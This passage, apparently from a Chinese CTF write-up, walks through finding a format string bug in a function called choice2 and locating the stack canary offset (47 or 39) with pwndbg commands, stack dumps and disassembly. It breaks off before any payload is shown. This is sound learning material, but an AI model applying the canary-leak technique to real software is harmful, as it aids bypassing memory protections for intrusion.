for

这一题发现两个答案,canary偏移是47或39都可以。可能的原因是因为一个程序可以有很多个canary,canary是main函数的,所以是47,如果用choice2这个函数的canary就是39。

先看第一种情况偏移为47。

发现在函数choice2()中第九行printf(&s);表明存在格式化字符串漏洞。

b printf

然后

run

输入

2    # 进入choice2()函数
1234 # printf的参数,随便输入

pwndbg输出

─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp  0xffffca9c —▸ 0x804874d (choice2+97) ◂— add    esp, 0x10
01:0004│      0xffffcaa0 —▸ 0xffffcabc ◂— '1234'
... ↓
03:000c│      0xffffcaa8 ◂— 0x80
04:0010│      0xffffcaac —▸ 0x80486fb (choice2+15) ◂— add    ebx, 0x1905
05:0014│      0xffffcab0 —▸ 0xf7fe2a70 (_dl_lookup_symbol_x+16) ◂— add    edi, 0x1a590
06:0018│      0xffffcab4 —▸ 0x80482ac ◂— pop    ds
07:001c│      0xffffcab8 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────

01:0004│ 0xffffcaa0 —▸ 0xffffcabc ◂— '1234' 这一行表明printf函数地址在0xffffcaa0

删除第一个断点,即printf函数的断点。

d 1

在main函数里找到canary值生成的地方,找到标志性的汇编代码。

.text:080487B2                 mov     eax, large gs:14h
.text:080487B8                 mov     [ebp+var_C], eax
.text:080487BB                 xor     eax, eax

因此断点地址0x080487BB,在pwndbg标记断点。